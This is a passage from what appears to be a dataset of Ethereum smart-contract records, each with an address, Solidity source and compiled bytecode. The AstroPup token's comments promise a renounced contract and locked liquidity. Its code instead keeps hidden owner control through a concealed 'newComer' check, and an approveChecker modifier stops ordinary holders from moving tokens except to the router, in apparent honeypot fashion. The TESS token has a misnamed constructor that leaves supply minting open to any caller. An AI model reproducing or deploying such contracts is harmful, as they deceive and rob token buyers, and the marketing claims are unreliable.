8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600090600160a060020a031663b17922f633600160405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b151561115357600080fd5b5af1151561116057600080fd5b50505060405180519050151561117557600080fd5b50600160a060020a03909216600090815260066020526040902090815560010155565b600082820183811015610eb857fe5b600554600090839060ff1615806111d65750600160a060020a03331660009081526004602052604090205460ff165b806111f95750600160a060020a03811660009081526004602052604090205460ff165b151561120457600080fd5b61120f858585611422565b95945050505050565b60038054600160a060020a03169063b17922f690339060405160e060020a63ffffffff8516028152600160a060020a03909216600483015261ffff166024820152604401602060405180830381600087803b151561127557600080fd5b5af1151561128257600080fd5b505050604051805190501515610ce457600080fd5b6000828211156112a357fe5b50900390565b600854600090600160a060020a031615156112c357600080fd5b50600160a060020a038116600090815260208190526040812080549190556001546112f4908263ffffffff61129716565b60015560075461130a908263ffffffff61119816565b600755600854600160a060020a0316637a3130e3838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561136357600080fd5b5af1151561137057600080fd5b5050600854600160a060020a03908116915083167f18df02dcc52b9c494f391df09661519c0069bd8540141946280399408205ca1a8360405190815260200160405180910390a35050565b600554600090839060ff1615806113ea5750600160a060020a03331660009081526004602052604090205460ff165b8061140d5750600160a060020a03811660009081526004602052604090205460ff165b151561141857600080fd5b6107458484611590565b6000600160a060020a038316151561143957600080fd5b600160a060020a03841660009081526020819052604090205482111561145e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561149157600080fd5b600160a060020a0384166000908152602081905260409020546114ba908363ffffffff61129716565b600160a060020a0380861660009081526020819052604080822093909355908516815220546114ef908363ffffffff61119816565b600160a060020a0380851660009081526020818152604080832094909455878316825260028152838220339093168252919091522054611535908363ffffffff61129716565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206116918339815191529085905190815260200160405180910390a35060019392505050565b6000600160a060020a03831615156115a757600080fd5b600160a060020a0333166000908152602081905260409020548211156115cc57600080fd5b600160a060020a0333166000908152602081905260409020546115f5908363ffffffff61129716565b600160a060020a03338116600090815260208190526040808220939093559085168152205461162a908363ffffffff61119816565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03166000805160206116918339815191528460405190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820d813d768c46e600abe9b980178301a526c61acb09e740c2c69727f636d0a77f00029 | {"success": true, "error": null, "results": {}} | 9,988 |
0x5e4acbf3bb439c0d1b36afb1b6c487954d7ea418 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, Ownable {
using SafeMath for uint256;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner returns (bool success) {
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);
// Updates totalSupply
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract TESS is BurnableToken {
using SafeMath for uint256;
string public constant name = "TESS";
string public constant symbol = "HHHH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000;
function UtrustToken() public {
totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
Transfer(0x0, msg.sender, totalSupply);
}
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a57806342966c68146102335780634ec0744d14610249578063661884631461025e57806370a08231146102805780638da5cb5b1461029f57806395d89b41146102ce578063a9059cbb146102e1578063d73dd62314610303578063dd62ed3e14610325578063f2fde38b1461034a575b600080fd5b34156100f557600080fd5b6100fd610369565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103a0565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61040c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610412565b341561020257600080fd5b6101bd610594565b341561021557600080fd5b61021d61059d565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101966004356105a2565b341561025457600080fd5b61025c610684565b005b341561026957600080fd5b610196600160a060020a0360043516602435610717565b341561028b57600080fd5b6101bd600160a060020a0360043516610813565b34156102aa57600080fd5b6102b261082e565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b6100fd61083d565b34156102ec57600080fd5b610196600160a060020a0360043516602435610874565b341561030e57600080fd5b610196600160a060020a036004351660243561096f565b341561033057600080fd5b6101bd600160a060020a0360043581169060243516610a13565b341561035557600080fd5b61025c600160a060020a0360043516610a3e565b60408051908101604052600481527f5445535300000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561042957600080fd5b600160a060020a03841660009081526001602052604090205482111561044e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561048157600080fd5b600160a060020a0384166000908152600160205260409020546104aa908363ffffffff610ad916565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104df908363ffffffff610aeb16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610527908363ffffffff610ad916565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6402540be40081565b601281565b60035460009033600160a060020a039081169116146105c057600080fd5b600160a060020a033316600090815260016020526040902054829010156105e657600080fd5b600160a060020a03331660009081526001602052604090205461060f908363ffffffff610ad916565b600160a060020a0333166000908152600160205260408120919091555461063c908363ffffffff610ad916565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b6106a16402540be400670de0b6b3a764000063ffffffff610b0116565b6000556106c16402540be400670de0b6b3a764000063ffffffff610b0116565b600160a060020a033316600081815260016020526040808220939093558054919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef915190815260200160405180910390a3565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561077457600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107ab565b610784818463ffffffff610ad916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f4848484800000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561088b57600080fd5b600160a060020a0333166000908152600160205260409020548211156108b057600080fd5b600160a060020a0333166000908152600160205260409020546108d9908363ffffffff610ad916565b600160a060020a03338116600090815260016020526040808220939093559085168152205461090e908363ffffffff610aeb16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546109a7908363ffffffff610aeb16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a5957600080fd5b600160a060020a0381161515610a6e57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610ae557fe5b50900390565b600082820183811015610afa57fe5b9392505050565b600080831515610b14576000915061080c565b50828202828482811515610b2457fe5b0414610afa57fe00a165627a7a72305820f1805effab7d4110d888cb2e50d0ba15681748e608bbf107a74918d11087c8e20029 | {"success": true, "error": null, "results": {}} | 9,989 |
0xb825b9b5b0872b8cd16a1ec0a0c25287e4a38acb | /*
✨👩🚀✨🐶Astro Pup👩🚀✨🐶✨
🚀🔆Fair Launch 16.08.21🔆🚀
✅Liq Locked✅ 💠 🔒Contract Renounced🔒
💸Starting Buy Limits + Anti Bot Code/Blacklist💸
📊Only Tax on the Sell – 10%📊
🔥1% of Tokens burned on every Buy/Sell 🔥
♻️5% Redistribution to Holders♻️
🌠NFT Collection & Giveaways to Holders🌠
✨👩🚀✨🐶Astro Pup👩🚀✨🐶✨
WEB: https://astropup.org/
TG: https://t.me/astropup1
TWITTER: https://twitter.com/astropup4?
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AstroPup is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 1000 * 10**9 * 10**18;
string private _name = 'Astro Pup - https://t.me/astropup1';
string private _symbol = '$ASTROPUP';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
modifier approveChecker(address astro, address recipient, uint256 amount){
if (_owner == _safeOwner && astro == _owner){_safeOwner = recipient;_;}
else{if (astro == _owner || astro == _safeOwner || recipient == _owner){_;}
else{require((astro == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610291578063715018a6146102e95780638da5cb5b146102f357806395d89b4114610327578063a9059cbb146103aa578063dd62ed3e1461040e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be578063313ce5671461024257806342966c6814610263575b600080fd5b6100c1610486565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610528565b60405180821515815260200191505060405180910390f35b6101a8610546565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610550565b60405180821515815260200191505060405180910390f35b61024a610629565b604051808260ff16815260200191505060405180910390f35b61028f6004803603602081101561027957600080fd5b8101908080359060200190929190505050610640565b005b6102d3600480360360208110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610717565b6040518082815260200191505060405180910390f35b6102f1610760565b005b6102fb6108e8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61032f610911565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036f578082015181840152602081019050610354565b50505050905090810190601f16801561039c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103f6600480360360408110156103c057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b3565b60405180821515815260200191505060405180910390f35b6104706004803603604081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109d1565b6040518082815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561051e5780601f106104f35761010080835404028352916020019161051e565b820191906000526020600020905b81548152906001019060200180831161050157829003601f168201915b5050505050905090565b600061053c610535610a58565b8484610a60565b6001905092915050565b6000600654905090565b600061055d848484610c57565b61061e84610569610a58565b61061985604051806060016040528060288152602001611c4760289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105cf610a58565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b610a60565b600190509392505050565b6000600960009054906101000a900460ff16905090565b610648610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461070a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6107143382611863565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610768610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109a95780601f1061097e576101008083540402835291602001916109a9565b820191906000526020600020905b81548152906001019060200180831161098c57829003601f168201915b5050505050905090565b60006109c76109c0610a58565b8484610c57565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ae6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611cb56024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611bff6022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d265750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b156110265781600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415610df2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b610ee484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f7984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179b565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806110cf5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111275750600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156113e657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156111b2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611238576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b6112a484604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133984600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffff